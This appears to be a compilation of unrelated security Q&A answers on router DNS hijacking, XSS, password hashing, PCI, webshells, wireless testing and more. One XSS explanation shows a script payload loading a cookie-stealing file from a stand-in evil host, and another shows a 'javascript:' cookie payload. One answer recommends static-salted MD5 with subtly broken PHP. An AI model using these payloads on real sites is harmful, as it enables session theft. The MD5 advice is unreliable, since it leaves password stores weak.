What you've described sounds like your router's DNS settings have been changed to use servers under the control of your attackers.  You can confirm this by disabling the proxy server.  If you disable the proxy and the problem goes away then wipe the proxy machine and start again - it's the only way to be sure.

You can reset the DNS server settings to what they should be (your ISP can tell you what they should be, your router may be able to get them automatically or you can use a third-party service like Google or OpenDNS) to fix the initial problem for the local network.

Then you also need to prevent the attack from happening again.  Measures to do that include:-

performing a factory reset to clear any settings left by the attackers
installing the latest router firmware
using a strong password on the configuration interface
limit access to the configuration interface to appropriate places (wired, local connections, not the internet)
log out of the configuration interface after use (and do not tick 'save password' on your browser when configuring the router)
changing the IP addresses used and supplied by the router (for example change from 192.168.1.1 to 192.168.123.1)

The location of settings varies by model and if you're not sure how to check these settings then check with the manufacturer of the router, your ISP's helpdesk or bring in a professional.  Some of those options may not be free of charge but will be worth it.


Are documented networks easier to attack? Are undocumented networks easier to protect?

If your network is undocumented, then you don't know what all the parts are, how they are set up, or how they interoperate. That in turn means you can't reliably do any of these crucial things:

do a full risk assessment
identify required controls
implement those controls fully
measure the controls to confirm they are working
monitor the network so you can detect attacks

Let's do an example. Opening ISO 27002:2013 at random, we find 12.4.3, "System administrator and operator activities should be logged and the logs protected and regularly reviewed".

If you don't have the network documented, you may have appliances in operation that you don't know about. So you have no way of knowing if they have logs that need monitoring, you have no way of reviewing those logs, no way of auditing that you are reviewing the logs, etc. etc.


Why is it called cross-site scripting? (XSS)

From the link schroeder gave in the comment the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'.  Clicking on the link on evilsite.com results in a redirection to nicesite.com .  The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article).  This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

(* Edit: * As pointed out in the comments the link can also come from an email or a different site.  So you could also go to othersite.com and click the link pointing to nicesite.com with the XSS payload for evilsite.com.)

  Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

  The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name.  From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content.  Naming is hard so it's unlikely to change.  The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

By the way this is an excellent question and one I pondered myself.


How well will the max transformation rounds in Keepassx deter an attacker for the next twenty years?

A bit of math allows you to easily understand how many extra bits of security these iterations provide. The general rule is that the number of bits of security you gain is the base 2 logarithm of the number of iterations. Rounding your maximum value of iterations to 109 iterations, you gain log2(109) ≈ 30 bits.

Is an extra 30 bits enough to deter an attacker for the next 20 years? That depends on how many bits of entropy your initial password has. If your original password started with 70 bits it would be difficult, but not impossible, to break even today. If you add an extra 30 bits through 109 hash iterations, you will have effectively 100 bits of security, which is likely to deter most attackers for the next 20 years.


I think if you have a need to work in this area, that the best bet is to start doing incident detection on your own network, and work on building coalitions that help you get NDA-level information with your peers.

There is no one right answer across the board.  The "total # of shoulder surfing attacks" vs. "total # of brute force passwords" is going to be pretty diffcult to get hard statistics numbers.  This is not an area that a researcher can address with a Gallup poll, since if you call an IT security professional and ask, they will either hang up or report YOU as the security incident.

Add to it that industries will vary widely - there are some common threats out there, but the scope of attacks CAN target different entities or industries.

I'll say that this fits closely with the IT areas of Incident Detection, Respose and Prevention.  Large scale systems tend to use some COTS based solution to detect the kind of attacks you mention - either network stats like bruteforce password attempts, or signs of the outcomes of social engineering.  In a mature system, they don't just respond to the crisis, but ask "how can we do better?", so they aggregate and compare the data in some way.  How exactly is the secret sauce that won't cross security barriers without some well-understood agreements.

The best data I've seen comes from pay-for services - my favorite is the ACSC - the Advanced CyberSecurity Center - where member banks do share this sort of information.  There's Gartner and Forrester, too, who are less specific, less easy to get detailed info from and less fully targeted at security.

There's not much public info I'd be trusting in this area - my first questions would be "how did you collect it?", "from who?" and "what where they measuring?"

This is definitely a case where how you ask the question will influence the answer.


Is decompiling software considered unethical or illegal?

Legality of reverse engineering depends on the country. As a rough summary:

In the USA, it is legal as long as the software was obtained legally, but if the license prohibits it explicitly (and most software licenses do) then it is a breach of the contract which the license constitutes -- thus "illegal", but a matter of civil law, not penal.

The DMCA also has ramifications in the matter. The reason for which you do the reverse-engineering is important: if you do it in order to circumvent a system which deliberately controls access to copyrighted work, then the Law will smite you mightily.
In the European Union, reverse engineering is legal as long as it is for interoperability purposes, whatever the license may say on the subject. Reverse engineering does not give you the right to publish your findings, though.

As for ethics, well, these things are kind of arbitrary (which is not a problem) and not completely universal (which is a problem). Not all people follow the same moral conventions; moral relativists find it normal, but all other people consider that they are right and whoever does not comply to the same conventions is wrong. Also, it is not clear whether it is possible to have a clearcut stance on the morality of reverse engineering of software in abstracto; it really depends on the circumstances. Even DMCA recognizes a moving set of "exceptions", which, as of 2012, makes jailbreak legal for smartphones but not for tablets (in the USA). Now find a moral system which can make such a distinction.

(And the Lord said: "Thou shall not jailbreak your tablet, unless it is small enough to be considered a phone". Whaaat ?)


Can cellphone towers triangulation work in 3D or is it 2D only (e.g. longitude/latitude)

The way cell phone triangulation works is basically just intersection of spheres. The only thing that cell towers can measure is distance between the device and the tower, and the possible locations that are formed here by a single tower forms a sphere (except if the tower uses directional antennas, which can reduce the number of towers needed to pinpoint the device location).
In three dimensional space, when two spheres intersect, you get a circle. With three spheres you get two points. And with four spheres, you isolate the locations to just one.
The minimum number of cell towers to triangulate to a single point is usually three, because the earth surface will be the fourth sphere and the other point is usually impossibly deep under the earth surface or out in the outer space, so they can be easily ruled out. However, with four towers, you don't need to rely on the earth surface and can pinpoint any single point in a three dimensional space, including height. Any more towers connected beyond three or four are redundant, but they can be used to further increase accuracy in case some of the towers have poor accuracy.
The accuracy of said triangulation though, is another matter, because cell towers aren't specifically designed for triangulation like GPS, these are just emergent functionality that happened to be possible due to the way cell towers work. The accuracy is highly dependent on the accuracy of measuring devices, the weather, whatever obstructions exists, the density of towers, whether the tower uses directional antennas, etc. In densely populated urban areas, there are higher density of cell towers which also can increase accuracy.
According to this, the accuracy of cell tower triangulation is usually about 500m-1km. So if we take that face value, cell tower triangulation can probably figure out if you're likely near the top or ground floor of a skyscraper like the Burj Khalifa which stands at 828m, but not really pinpoint the exact floors you're in. Since most buildings aren't as tall as Burj Khalifa, this doesn't even look practical in most places. Except if the skyscraper actually have a cell tower at both the top and ground level of the building itself, in which case, then maybe.
Much more practical though, to detect your height in a building, is Wifi location. Wifi has such a small radius that being able to see an access point at all is a good indication that you're either on the same floor or at most one or two levels around the access point. Having good signal from a Wifi access point is a very good indicator that you're on the same floor.


Security of LastPass' password generator

If appears to seed the RNG with window.crypto, which if not available window.msCrypto is used and finally falls back onto current time. The relevant code is:

var rng_state;
var rng_pool;
var rng_pptr;

// Mix in a 32-bit integer into the pool
function rng_seed_int(x) {
  rng_pool[rng_pptr++] ^= x & 255;
  rng_pool[rng_pptr++] ^= (x >> 8) & 255;
  rng_pool[rng_pptr++] ^= (x >> 16) & 255;
  rng_pool[rng_pptr++] ^= (x >> 24) & 255;
  if(rng_pptr >= rng_psize) rng_pptr -= rng_psize;
}

// Mix in the current time (w/milliseconds) into the pool
function rng_seed_time() {
  rng_seed_int(new Date().getTime());
}

// Initialize the pool with junk if needed.
if(rng_pool == null) {
  rng_pool = new Array();
  rng_pptr = 0;
  var t;
  if(typeof(navigator) != 'undefined' && navigator.appName == "Netscape" && navigator.appVersion < "5" && typeof(window) != 'undefined' && window.crypto) {
    // Extract entropy (256 bits) from NS4 RNG if available
    var z = window.crypto.random(32);
    for(t = 0; t < z.length; ++t)
      rng_pool[rng_pptr++] = z.charCodeAt(t) & 255;
  }

  //First try to use browser's PRNG over Math.random
  try{
    var crypt_obj = null;
    if (typeof(window) != "undefined" && typeof(window.crypto) != "undefined") {
      crypt_obj = window.crypto;
    } else if (typeof(window) != "undefined" && typeof(window.msCrypto) != "undefined") {
      crypt_obj = window.msCrypto;
    }

 if(typeof(crypt_obj) != 'undefined' && typeof(crypt_obj.getRandomValues) == 'function') {
      if(rng_pptr < rng_psize){
        var num = Math.floor((rng_psize - rng_pptr) / 2) + 1;
        var buf = new Uint16Array(num);
        crypt_obj.getRandomValues(buf);
        for(var i = 0; i < buf.length; i++){
          var t = buf[i];
          rng_pool[rng_pptr++] = t >>> 8;
          rng_pool[rng_pptr++] = t & 255;
        }
      }
    }
  }catch(e){}

  //Fall back to Math.random if needed
  while(rng_pptr < rng_psize) {  // extract some randomness from Math.random()
    t = Math.floor(65536 * Math.random());
    rng_pool[rng_pptr++] = t >>> 8;
    rng_pool[rng_pptr++] = t & 255;
  }
  rng_pptr = 0;
  rng_seed_time();
  //rng_seed_int(window.screenX);
  //rng_seed_int(window.screenY);
}

Window.crpto is part of the Web Cryptography API:

  [The Web Cryptography API] specification describes a JavaScript API for performing basic cryptographic operations in web applications, such as hashing, signature generation and verification, and encryption and decryption. Additionally, it describes an API for applications to generate and/or manage the keying material necessary to perform these operations. Uses for this API range from user or service authentication, document or code signing, and the confidentiality and integrity of communications.

window.msCrypto is Microsoft's implementation of this.

If you are using a supported browser then this generation method appears secure (well it as secure as your browser's implementation of the Web Cryptography API). If not, then it appears to use Math.random seeded with current time which is not secure - it would be good if the web page warned you if this was the case.

This page shows the current status of browser support for the Web Cryptography API.


Does PCI compliance really reduce risk and improve security?

A good question, but perhaps you should phrase it "Does PCI harm security".

To answer both questions, I would differentiate very roughly between two types of organizations (even though most fall in between these two extremes):

Security-conscious organizations, that routinely perform business-risk based analysis, have a comprehensive SDL in place, perform all the right moves, etc.
Security-unconscious organizations, that have no interest in anything they are not absolutely forced to do, and especially not if it doesnt make any money.

For the second group, PCI absolutely helps, a lot, in the following ways:

Awareness (now someone is at least allowed to mention security, and hopefully they're all talking about it)
Budget - since otherwise management would never have allocated any resources whatsoever to invest in any form of security, now at least they are forced to at least pay lip-service.
Minimal baseline of least common denominator activities. (Hopefully this includes training the developers, which helps more than any regulation...)

Basically it forces them to acknowledge security, and hopefully some additional good will come out of it.

For the first group, there are two (two and a half) main consequences:

There are (rare) situations where the organization has to choose between a real security solution, and compliance with the generic baseline LCD.
Budget is now forcefully allocated to the minimal, generic baseline LCD as defined by some external group that knows nothing about their business. (This budget would probably be more useful in different security activities / products / etc).
Management is quicker to pass on any security investment that is not mandated directly by the PCI - "if they don't need it / if its good enough for them without, why should we bother?" or "If it was important, PCI would have required it".

In this case, PCI is doing more harm than good, since getting them to build in security is not an issue for these orgs.

However, one benefit of PCI compliance that is shared across the board:

  PCI compliance reduces the risk of the penalties of non-compliance.


Has the security of PuTTY been examined?

Putty being open-source, there have been a number of informal security audits, some resulting in vulnerability reports and patches.

There may have also been some formal security audits commissioned by users of the product. Some searching revealed a bit of unverifiable evidence of such, but most importantly:

Simon doesn't advertise or reference any official audit of his code. Any audits done were done by a private party, for a private party, and may not have been scoped in such a way as to be applicable to your circumstances.


Is connecting to the Internet through a mobile connection using a non-registered SIM card perfectly anonymous?

Nothing is "impossible" to trace.  What you're describing would certainly be difficult to track down, but not impossible.

In the early to mid 1990s Kevin Mitnick tried an analog version of what you're describing, with cloned cell phones and a cellular modem in place of modern digital mobile networks.  Since he could change the cellular ID of his phone at will to another ID (and did every day), this is arguably less traceable than your scenario where there's a single subscriber ID associated with the mobile device.  Mitnick also regularly conducted his own intelligence campaign against the police trying to catch him, going as far as to tap the conference calls of the FBI.

And yet with all this, Mitnick was caught (albeit with a large amount of effort fueled by media hype).  He was eventually traced through his dialup access through Netcom, and physically traced to his apartment in North Carolina through directional radio.  This was not a small amount of effort at the time and required a team of experts to accomplish, but it still happened.

These days there's no dialups, but we do have much more logins to services that never existed in the 1990s.  It's certainly possible to use the same approach, and eventually trace back to a physical location to apprehend a suspect.

The point being, that given enough attention and effort, anyone can be tracked.  There's always some leak of information somewhere, given enough time.  Most recently Ross Ulbricht (creator of The Silk Road) was caught,not long ago Bin Laden was caught, and in the 1990s Unabomber Ted Kazinski was caught.  All of these people carried out remote crimes and thought themselves to be invulnerable, but all were eventually tracked down from flaws in their own stealth.


How exploitable is a machine with a vulnerable library if it is not open to the internet?

This question is best answered from a threat modeling perspective.

First you have to take a look at the interfaces your potential attackers are using. You ruled out access via the internet and you used the tag "air-gap", so I assume no network access in general. This leaves local access to the system like a logged in user or an external medium (e.g. a usb stick) that is inserted into the system and is accessed by the OS.

Next you have to look at the functionality of your vulnerable library. The scenarios depend on your actual situation, so I just give you two possible examples.

If the vulnerable library is part of a local tool or service that a local user can interact with - especially if it runs with high privileges like system or root - you are looking at a potential privilege escalation.
If the vulnerable library is part of the software that accesses the external medium, a malware exploiting the flaw can potentially run code on the system, depending on the type of vulnerability.

So yes, there are several scenarios including the ones I mentioned above. It depends on the types of attackers you face, their access to the system and what kind of library and vulnerability you are talking about. If you are actually not in an air-gap scenario and have the system exposed on a local network, remote attacks over this networks are also possible, if the library is used directly or even indirectly by a service listening on this network.


limit malicious log in attempts on wordpress site

To limit its chances of success, make sure your users' passwords are strong and all security patches are applied on time.

From your description it looks like a simple automated brute force activity trying to break into your system in some simplest scripted ways. This on the Internet is roughly equivalent to white noise in radio transmission. It's always there in the air, always present, but as long as it doesn't prevent you from listening to the music, this is fine, more or less. You wouldn't even have noticed this if not for a recent unfortunate event not connected with this particular activity at all though.

On a /19 IPv4 network, I can see hundreds of similar attempts coming towards different IP addresses every minute. Those attempts are mostly automated, bots are trying a few simple passhrases and also a few popular exploits (hence patch management on your side) across the whole IPv4 address space. If the rest of your security policies are fine, you won't see problems with this alone. If you do have problems with security, rate limiting won't help you for long.

If it's not an automated activity, then a motivated attacker is able to use much more than a single IP address at a time and won't get fooled by any sane rate limiting. Some brute force bots are already issuing their requests once in 10 minutes or even less frequently. You can't allow just one authentication attempt in 10 minutes, an ordinary user will be upset with that.

Having said that, popular HTTP servers allow you to set up rate limiting in the configuration file:

Apache/mod_security: a sample, manual
Nginx: documentation, examples

Limiting authentication attempts to a rate close to 15r/m with some reasonable allowed burst may be a good idea.

There's also probably something wrong with either the activity log plug-in, or the reCAPTCHA plug-in, or the way all your plug-ins communicate with each other. Make sure the reCAPTCHA plug-in checks the CAPTCHA response before allowing to process the rest of authentication.

It might be also a good idea to do CAPTCHA checking only at account registration and to use MFA for authentication, it's more reliable in your case and would probably have helped you with the previous incident.


Need help collating resources for an information/cyber security audit document for an MSP

Your approach is not the best approach. Yes, there are well-known "lists", like:

NIST CSF
CIS Top 20
ISO 27001

And there are many others, too. Dumping all those items into a massive omni-list and trying to check each item is not going to be helpful.
You are missing a couple of important ideas in your approach:

scope
purpose

Without scope, you could come up with a list with a million items. And even if you merely come up with "a lot of" items, it will be difficult to work through and the findings might not be useful or might not relate to each other well.
Without purpose, even if you have a well-scoped and manageable list, the result may be useless. Knowing why you are auditing, and what process the results are supposed to inform will help you define and refine your audit list.
For example, CSF, CIS Top 20, and ISO 27001 have very, very different purposes and scope.
So, in the end, I would choose a standard list that meets the scope and purpose you have for the audit. If you try to think of all the things you might need to check yourself, you are sure to end up with a disjointed, multi-tentacled, monster list. You are free to add to your chosen standard if the lists are not complete for your purpose.
I also have another suggestion; don't just check to see if a list item is done or not (a yes/no binary choice). Rate the maturity of the items. I use a 1-5 scale based off of the CMMI scale modified for operations. It is likely that an organisation is doing most of the things on any list, in some way, somewhere in the org. But there is a difference between "that one intern does it when they think of it and they tell someone when there is a problem" and "it's company policy that we train people on and we audit that particular process and have KPIs to improve it".


Diffie-Hellman large prime number weakness. Is this concept valid? If so, how can this be remediated by end-users/admins?

Don't use any cipher suite involving DH on a prime group smaller than 2048 or even better 3072 bits. That's what you can do as a sysadmin...

The EFF has practical advice : https://www.eff.org/deeplinks/2015/10/how-to-protect-yourself-from-nsa-attacks-1024-bit-DH


Deauth not working on a certain network and I want to understand why

The wireless card you listed supports 2.4GHz. If the target network and devices are on 5GHz, you will not be able to see or touch them without obtaining different hardware.

802.11w is not used very widely, and even where it is used, it does a relatively poor job of preventing layer 2 attacks.


Can google hangouts be read over corporate wifi if your using your phone ? Tls1.2

If your employer asked you to install a Certificate Authority (CA) certificate on your phone, then they can read all your encrypted data to any HTTPS website. This can be done by the network admin acting as the man-in-the-middle. When you connect to an HTTPS website, the browser will see if the (fake) certificate presented is trusted or not, by checking the trust store of certificate signers. The certificate that you were made to  install is the one used for signing the certificate of the website being MITMed. Hence, the MITM terminates the SSL connection between you and itself, and can then establish a new connection to the end server, thereby being able to read data.


No clients appearing when using wireless attacking tools in Kali Linux

I've had issues with Broadcom devices in the past, in my experience the driver supposedly supported monitor mode but I couldn't capture traffic over the air.

I'd recommend getting yourself one of the following:

Alfa WUS036NH - Ralink chipset
TP-Link TP-WN722N - Atheros chipset

Note: Don't bother with the TP-WN722Nv2 it has a Realtek chipset with poor support.


Ways to monitor someone's internet traffic

All of the wires and cables, most of which is totally out of your physical control, could be tapped.  Read-only CAT-5 cables can easily be made, and work even for the most inept. I'm certain that the local loop, the circuit connecting your domicile to the phone company's Central Office, can be tapped at many, many locations.  The technology to decode DMT (the most common Layer 2 DSL protocol) is unknown to me.

DSL usually uses PPOE to communicate over the local loop. That means that the phone company's end of the PPP connection would be a logical, easy place to tap all of the IP-level communication. This is totally out of your control, and even if your TCP or UDP level comm is encrypted, you'd be subject to traffic analysis.

Hardware backdoors will be almost impossible to detect. Some Cambridge University people just published a good paper on a real hardware backdoor.

One way of snooping that you haven't considered is van Eck phreaking. One countermeasure to this sort of thing is to use weird fonts that are human-readable, but not TEMPEST or van Eck readable.

Another form of monitoring that you may not have considered is Traffic Analysis. For what's possible, take a look at Traffic Mining in IP Tunnels. The abstract is in French, but the PDF appears to be in English.


Store Hash and/or Encryption salts in database

I would recommend you use a static string as a salt for example,  "thisisstaticand10000characterslong". Use the password inside this ( $salt1.$post['password'].$salt2).  Then hash it with MD5. If the user wants to login than you make the same method to check if the password entered by the user is correct.

if(md5(($salt1.$_POST['password'].$salt2) == $password)
{
    /* Your code */
}


How to check if URL/ IP belongs to a zeus bot

Providing that you are looking for information already analyzed, and your question is not about the technical ways to identify a Zeus C&C Server, you can look at the following places:

malwaredomainlist.com
malwaredb.malekal.com
exposedbotnets.com
scumware.org
malc0de.com
cybercrime-tracker.net
vxvault.siri-urz.net
nothink.org
botnet-tracker.blogspot.ch
atlas.arbor.net
marworm.com
zeustracker.abuse.ch (Zeus botnet tracker)
alienvault.com

Note that you can also use those places to look for many other threats / malicious activities than Zeus.


Is that possible to execute reflected XSS if you return JSON from XHR request?

Very rarely, but yes. A perfect example would be when the application dynamically retrieves URL's to be shown as links, you could inject code like so:

{url: "javascript:alert(document.cookie);", title: "Click me for cookies"}

{{ title }}

Either that or the URL is parsed using the eval() statement (even more rare, but I've seen it happen)


Is it safe to use an auto pay feature on my smart watch that stores card info?

How tap to pay works

Assuming you are not using magstripe emulation (Samsung is one of the few companies that do this), you will be communicating with the payment terminal in a similar way to how a contactless card would communicate with it.

How secure it is

The UK Cards Association says the following:

  Reassure the customer that contactless is secure. Contactless technology uses
  secure technology (the same as chip & PIN) so customers can feel confident
  when using it to pay for items.

  There is a maximum amount for a contactless transaction of £30 (if it is a
  higher value payment the customer will have to verify themselves). The card
  or device has limits built into it when it is being used for a contactless payment.
  This means it can only be used for a certain number of consecutive contactless
  transactions before the customer is required to perform a chip & PIN
  transaction.

  All contactless payments, as with other card payments, are covered by the
  issuing bank in the event of fraud, so the customer won’t be left out of pocket.

  All contactless devices rely on the same underlying, secure transmission
  technology. On mobile devices the cardholder’s payment details are held
  securely and may also be protected using a process called tokenisation
  .
  This substitutes the cardholder’s account number for a ‘token’ value
  that is only valid for transactions from that device

Like all technologies it has advantages and disadvantages:

Advantages:

The card number is tokenised, so your physical card number is not stored on your mobile device
The transactions are online (in the UK), so any fraudulent activity can be detected quickly.
Unlike magstripe, the terminal cannot just replay the data it recorded talking to a card to make a payment with another terminal
As the magstripe is not present, a skimmer cannot record the details and then use them to make copies of the card.

Disadvantages:

Storing your payment details on your device is another copy of the details
Depending on the device you may be able to pay without noticing, (On Android your screen must be on, but you do not need to unlock the device).

References

Guide for retailers:
Accepting contactless and higher value contactless payments


How does TLS work with another protocol (example SIP)?

It's very similar to how we use TLS with websites. Just like we have clear-text http on (TCP/port 80) and http over TLS, also referred to as https running on (TCP/port 443) we do something very similar with SIP. SIP uses (TCP/port 5060) for cleartext and SIPS uses (TCP port 5061) for SIP over TLS.

That said to answer your question in a little more detail the two servers would externally be seen to just have a TLS connection with a client connecting to a server on (TCP port 5061) and inside of that "encrypted communication tunnel of sorts" the SIP traffic is sent from one system to another.

Useful references:

https://www.ietf.org/rfc/rfc3261.txt

https://en.wikipedia.org/wiki/Session_Initiation_Protocol


How much of an impact will the RC4 cut off make?

From what I can understand, browser releases in 2016 will no longer support RC4 only connections, right?

Yes. Chrome, Firefox, MS-Edge, MS-IE plan to deprecate

  who will be affected/what browsers will be affected?

About 1000 servers in the Alexa top 500,000 are currently marked RC4 Only.
You won't be able to access these over HTTPS with any modern browser anymore.


Is authentication using personal pictures more secure than passwords?

The two statements speak of completely different things. They don't contradict each other. That does not make them both true, though.

PixelPin: this product apparently replaces the password by the selection of four positions on a picture. This means that you choose a picture, and your "password" is the sequence of coordinates for four points you choose on the picture.

Since users cannot be relied upon to always click on the exact same pixel, especially since they claim support for touch screens, one must assume that the pixel selection is kind of fuzzy. If we suppose a full-screen picture on a smartphone, we can hope for, say, 200 possible selection points in the picture (it is as if the click from the user fell on a 20x10 grid). The implementation must do something smart to avoid threshold effects (when the user chooses a selection point which is close to the boundary between two grid elements).

Four selection points then means 2004 possible "passwords", i.e. an entropy of a bit more than 30 bits. While this is not bad, as far as passwords go, this is not exactly the most robust password ever. An important point to make is that human users are unlikely to choose "really random" points on the picture. As the example on the page shows, human users will click on the cat's nose, not on a random place in the back wall, if only to be able to click again on it at the next login attempt. I seriously doubt that in real conditions, human users would achieve enough randomness in their selection to defeat brute force attacks.

The PixelPin company claims that using a user-chosen picture makes it easier for users to remember their points; that I am ready to believe. They talk about the Picture Superiority Effect, a pompous name for the fact that humans are apes and apes are very visual animal -- primates have had good vision for about 50 millions of years, while writing is human-only and no older than about 6000 years. It is no surprise that human memory groks pictures efficiently. Our ancestors were highly trained to remember how a lion looks like (let's say that the career of those who could not remember that was, on average, shorter).

Overall, I find the claims of PixelPin a bit bold, quite possibly outrageous. The idea is interesting, though.

The picture in certificates is something else. A certificate is about binding an identity with a public key. A picture could be thought as part of the identity.

The people at Kleopatra states that they don't want to support pictures for several reasons, among which the idea that photos give a "false sense of security". What they mean is that a photo is a reasonable part of the identity of a person only insofar as the issuing CA checked that the photo was really that of the target person. This seems dubious, unless the issuing CA took the photo itself. Right now, with certificates as they are used today, photos in certificate are merely advertising; they are pictures of what the certificate holder would like to look like, and not pictures of the key owner as he really is.

Briefly said, pictures in certificates tend to give users warm fuzzy feelings about some assumed enhanced security (by analogy with ID tags and passports, mostly), but these feelings are largely unsubstantiated. Kleopatra developers feel it their duty to protect users against such things, hence the absence of support. (Or possibly they were just lazy and did not want to implement the support for pictures.)

This is completely different from what pictures are used in PixelPin. PixelPin is about pictures as support for human memory. Kleopatra is talking about pictures as part of the physical identity.


This topic is documented extensively all over the web as well as on this site, so taking the time to do some research on your own would have been a much faster way to get answers. However, if you're just having trouble understanding the concept a simple explanation may help.

Simply put, it alters the hash of a password so that it does not physically match the hash of another password.

For example, a user has the password, "password123" and is put through a SHA1 hash. In the password database, all of the users with the password "password123" will have the exact same hash, because of the nature of hashing functions.

So, if an attacker was to breach the database and brute force the password of the user mentioned above, he could look for all the hashes that match the original user's and would know their passwords are also "password123".

By implementing a salt, the password hashes would no longer be identical to one another, even though the actual password is still the same. This requires the attacker to go in and attempt to brute force the second password (which has a different salt), even though it may be the same as the first. In a nutshell, it prevents an attacker from uncovering one password and subsequently uncovering multiple others.

In your question, you are correct that the salt is typically right next to the hash, such that anyone that has gained access to a database of password hashes would also have access to the salts. However, that doesn't detract from the original purpose in that it is preventing multiple hashes from being brute forced in a single guess. Each and every hash has to be guessed on its own.


Any privacy reasons to not allow software to update automatically?

Privacy Leaks

The simplest leak is your IP address.  Your IP address is a powerful tracking tool, but only one of many used to track you around the web.  This can be mitigated with a VPN, Tor, proxy, etc. but...

Auto updaters usually trigger on network connection changes, so if you have a software VPN running and change Wi-Fi networks (or reconnect), the updater could hit the network before the VPN engages, leaking your real IP address.

During the update process, the server will likely be made aware of certain details about your machine.  OS, bit depth (32 vs 64), maybe the browser you use, possibly other running programs, any plug-ins or add-ons of the program, fonts, certificates, etc.  These details can also be used to fingerprint you.

Security Dangers

Supply Chain Attacks

There have been subversions of the update process, called supply chain attacks, and last year CCleaner was a victim of such an attack.

Telemetry, analytics, ads

These three antifeatures have become commonplace buzzwords to mask their usually unwanted behavior: tracking.  These sorts of things will get pushed down with auto updates, and you won't have the notice or option to remove them unless they become newsworthy on the Internet at large.

Other antifeatures

Other antifeatures are known to come through the auto update process.  Microsoft is bundling and changing a lot of things every few months with Windows 10.  Your file extensions will get changed, you'll get new software that you can't remove, or you'll have problems digesting the update.


Will granting access to data without owner approval set a bad precedent?

To answer your question about ISO 27001; ISO accreditation is based on practices and processes in effect at the time of audit.  If the original process was to leave all sensitive data on a USB stick in the middle of the room and now you change the process and put in proper access controls, rights management, etc., then your ISO accreditation will be based on what you are doing right now.

If on the other hand the boss is routinely bypassing the security measures during and after the audit then you wouldn't get ISO accreditation.

In your particular scenario I would suggest establishing share zones between each pair of teams so that permissions still remain strong but controlled access can be granted.  Once the share zone is established the choice of what to share moves from IT's responsibility to the group's manager.  If a document needs to be removed from the zone then that can also be done easily.  Concerns about users being lazy and dumping everything in share zones are the manager's problem.


Can I adjust the X509v3 Name Constraints on my internal CA after I have issued certificates?

A certificate can not be modified and this includes a CA certificate. But you can issue a new CA certificate with the same subject (and subject key identifier) and the same public key but with different name constraints. Since subject and public key are the same this CA can then be used in place of the previous CA to verify previously issued certificates.


Suggestions on easy distribution/installation of self signed certificates & roots to mobile devices

Your options are limited but, as I see it, you do have some possibilities.

Install the certificate for the users.  On the day they come in to do the training - or when they're next in the office - you borrow their phone for 5 minutes and install the certificate for them.
You write very clear instruction on how to install a certificate.  On Android it's not that hard to install so you should be able to write a single page document which shows them how to do it.
Write an App which is simply a web-view with the certificate pre-installed.
Use a certificate installer app - like https://play.google.com/store/apps/details?id=it.nicola_amatucci.android.certificate_installer

My preferred option will be #1 - that way you can check the phone is suitable, run a virus check on it, and ensure that everything is set up properly.


What do I need to ask 3rd party to add trust

I guess we are assuming the relying party is a SAML2 based relying party. Else, you should be inquiring what protocols they support. (e.g. WS-Federation/WS-Trust, SAML2, OAuth2,OpenID Connect). Not all of these protocols are supported on every AD FS version. These are all supported in Windows Server 2016 based AD FS.

What is the token format they expect? (SAML 1.1, SAML 2.0, JWT)

The URI used by them to uniquely identify themselves to your AD FS.

You should get details of the endpoints to which the tokens should be posted at logon and the type. (e.g. is it a POST binding vs redirect binding). And the logout endpoint too.

What claims they expect and what format of values. Its up to you to decide whether to extract them from AD, SQL, AD LDS or some custom attribute store.

Do they expect the tokens to be encrypted? if yes, they should provide the public portion of a cert which you'd use for encrypting tokens for only the relying party to view.

What signing algorithms they support (SHA1 vs SHA256)

Do they want a Name identifier? If so, what type (transient/persistent etc).

These are some of the questions you'd ask to ensure you can correctly configure a relying party trust. If they have metadata then configuring the trust becomes a lot easier and they can specify in metadata the answers to these questions.


Authenticate users through Google using only an OAuth2 access token

This post may answer your question. The best solution is to use OpenID Connect (id_token) since this will be the standard way to do it (still a draft).


Theoretically, the strength of a password is the number of tests it would take to guess it. In pure mathematical terms, it's the number of possible characters in the character set raised to the power of the length of the password.  But the real measure of strength of a password is "how long will it withstand an attacker?"

We all know that most user-selected passwords don't take advantage of the full character set, because complex passwords contain too much entropy for a human to easily remember. So, most passwords consist of natural language words with slight modifications; vastly reducing the number of passwords that an attacker has to test. In other words, adding the ability to hit the control key won't make any users actually hit it, meaning it won't add much to the effective strength.


That's a tough question to answer, because "Computer Security" is a very broad field--

If you are looking for just general computer security stuff, I would start following Richard Bejtlich, who has authored a couple very good network security & forensic books--But he also deals with the philosophical mindset of computer security--For instance, from the Tao of Network Security Monitoring:

“Security is the process of maintaining an acceptable level of perceived risk. A former director of education for the International Computer Security Association, Dr. Mitch Kabay, wrote in 1998 that “security is a process, not an end state.” No organization can be considered “secure” for any time beyond the last verification of adherence to its security policy. If your manager asks, “Are we secure?” you should answer, “Let me check.” If he or she asks, “Will we be secure tomorrow?” you should answer, “I don’t know.” Such honesty will not be popular, but this mind-set will produce greater success for the organization in the long run.”

I would also recommend Bruce Schneier, & most of SANS resources.

-Josh


I recognize this webshell, as I've dealt with it many times over my years in the shared hosting world.

This is known as a webshell. This particular one, Filesman, has a slew of dangerous features one can execute. To name a few, they can view and download any file or directory in your webroot, change permissions (CHMOD) of files and directories, and open incoming ports so other servers can stream more malicious data to your webroot.

I recommend getting rid of this and patching the hole this was uploaded through ASAP!


Attacking through a malicious HTML file apart from XSS through Javascript?

